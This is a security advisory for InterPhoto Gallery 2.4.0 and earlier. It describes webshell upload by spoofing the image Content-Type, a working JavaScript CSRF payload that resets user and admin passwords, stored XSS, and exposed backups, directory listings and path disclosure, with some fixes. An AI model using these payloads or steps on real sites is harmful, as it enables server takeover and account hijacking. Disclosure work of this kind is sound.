interphoto gallery - Multiple Vulnerabilities



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- Title  : InterPhoto Gallery Multiple Remote Vulnerabilities
- Affected Version : <= 2.4.0
- Vendor  Site   : http://www.weensoft.com
- Discovery :Abysssec.com
 
- Description :
===============
InterPhoto Image Gallery is an open-source, simple-using, advanced, professional multi-users' image website System,and it can primely protect the images of your site. InterPhoto can be used to build all kinds of sites which lay out images mainly, such as: design, fashion, exhibition, photograph, painting sites and so on.

- Vulnerabilities:
==================


1)Upload ( bypass Image Uploader ):
------------------------------------------------
InterPhoto allows register users uploading Images.
InterPhoto's User can upload php webshell with this way:
    
    login in the user mode,go to "Publish Image " .
    select file for upload, write other field Required and submit.
    By Tamper Data tools (webscarab, Paros ,...) Trap Request.
    and change "Content-Type" field's value to "image/jpeg".

line 143-150 :     
...
if ($action == 'insertimage')
    {
        $imagefile         = $_FILES['imagefile'];
        $valid_image_types = array('image/pjpeg',    'image/jpeg', 'image/jpg');
        $uploaddir = BASEPATH.'MyWebsiteImages/';
        @chmod($uploaddir,0777); // it will chmod upload dir  for execute as well  !
...
as you can see in flow type it's possible to spoof jpeg request . 

ln 43-56
...
if ($image_size[0] > 760 || $image_size[1] > 760) {
        if (@rename($uploaddir.$file_path.'/'.$imagename, $uploaddir.$file_path.'/original/'.$imagename)) {
            CreateImageFile($uploaddir.$file_path.'/original/'.$imagename, $uploaddir.$file_path."/760x760/".$imagename,'760');
            CreateImageFile($uploaddir.$file_path.'/760x760/'.$imagename, $uploaddir.$file_path."/160x160/".$imagename,'160');
            CreateImageFile($uploaddir.$file_path.'/160x160/'.$imagename, $uploaddir.$file_path."/80x80/".$imagename,'80');
            CreateImageFile($uploaddir.$file_path.'/80x80/'.$imagename, $uploaddir.$file_path."/32x32/".$imagename,'32');
        }
    }else{
        if (@rename($uploaddir.$file_path.'/'.$imagename, $uploaddir.$file_path.'/760x760/'.$imagename)) {
            CreateImageFile($uploaddir.$file_path.'/760x760/'.$imagename, $uploaddir.$file_path."/160x160/".$imagename,'160');
            CreateImageFile($uploaddir.$file_path.'/160x160/'.$imagename, $uploaddir.$file_path."/80x80/".$imagename,'80');
            CreateImageFile($uploaddir.$file_path.'/80x80/'.$imagename, $uploaddir.$file_path."/32x32/".$imagename,'32');
        }
...    
Refer to size of file you can find your shell in following directory:
    http://site.com/InterPhoto/MyWebsiteImages/
    

2)Persistent XSRFs:
-------------------
Several XSRF existed in this CMS, For Example:Delete user's Image, Change Users&Admin password, Change User&Admin Info,... 
Now see Change Users&Admin password:
    +POC:
        Like number 1 ,go to Publish Image and select Edit HTML,and write this code:
            <script>
                function creat_request(path,parameter,method){
                method = method || "post"; 
                var remote_dive = document.createElement('div');
                  remote_dive.id = 'Div_id';
                  var style = 'border:0;width:0;height:0;';
                  remote_dive.innerHTML = "<iframe name='iframename' id='iframeid' style='"+style+"'></iframe>";
                  document.body.appendChild(remote_dive);
                   var form = document.createElement("form");
                  form.setAttribute("method", method);
                  form.setAttribute("action", path);
                  form.setAttribute("target", "iframename");
                for(var key in parameter) 
                {
                  var hiddenField = document.createElement("input");
                  hiddenField.setAttribute("type", "hidden");
                  hiddenField.setAttribute("name", key);
                  hiddenField.setAttribute("value", parameter[key]);
                        form.appendChild(hiddenField);
                    }
                  document.body.appendChild(form);  
                  form.submit();
                }    
                  creat_request('http://192.168.101.4/interphoto/mydesk.edit.php',{'action':'updateuser','password':'123456','repassword':'123456','email':'admin@localhost.com','userfullname':'','usercompany':'','useraddress':'','userpostcode':'','usertel':'','userfax':'','useronline':'','userwebsite':''});
            </script>
            
        and submit.when any user see this section on Homepage, Delete first image that is Uploaded.    


    
3)stored XSS :
--------------
login in the user mode,go to "Publish Image " .Then
in "Image Description:" section, select Edit HTML icon,and write java tag script.( also write other field Required )
and submit.
for see the XSS go to Home page, and click last update image for see.    
Because InterPhoto used nicedit for Image Description.     



        
4)Information  Disclosure:
---------------------------------------------
    5.1)Backup  Database is Downloadable:
        +POC:
            http://site.com/InterPhoto/admin/backup/
        +Fix:
            restrict access to this directory by .htaccess file.
            
    5.2)Directory listing :
        +POC:
            http://site.com/InterPhoto/admin/backup/
            http://site.com/InterPhoto/MyWebsiteImages
            http://site.com/InterPhoto/UploadImages/    
            http://site.com/InterPhoto/library/
            http://site.com/InterPhoto/languages/
            http://site.com/InterPhoto/includes/
            http://site.com/InterPhoto/config/
            http://site.com/InterPhoto/templates/
            http://site.com/InterPhoto/upgrade/
            http://site.com/InterPhoto/admin/includes/
            http://site.com/InterPhoto/admin/templates/ and ....
        +Fix:
            Create index.html in all folders.


5)Path Disclosure:
--------------------------------------
InterPhoto CMS  has used Smarty library(Templet Engine).
    +Code:for example:class Smarty undefined.
        /library/smarty/libs/Smarty_Compiler.class.php[line 35] 
        class Smarty_Compiler extends Smarty {
        ...
    +POC: 
        http://site.com/InterPhoto/library/smarty/libs/Smarty_Compiler.class.php
        http://site.com/InterPhoto/library/smarty/libs/plugins/modifier.date_format.php
        http://site.com/InterPhoto/library/smarty/templates_c/[ all files. ]
    +Fix:
        Add frist page :
            if(class_exists('Smarty')){
        Add last page:
            }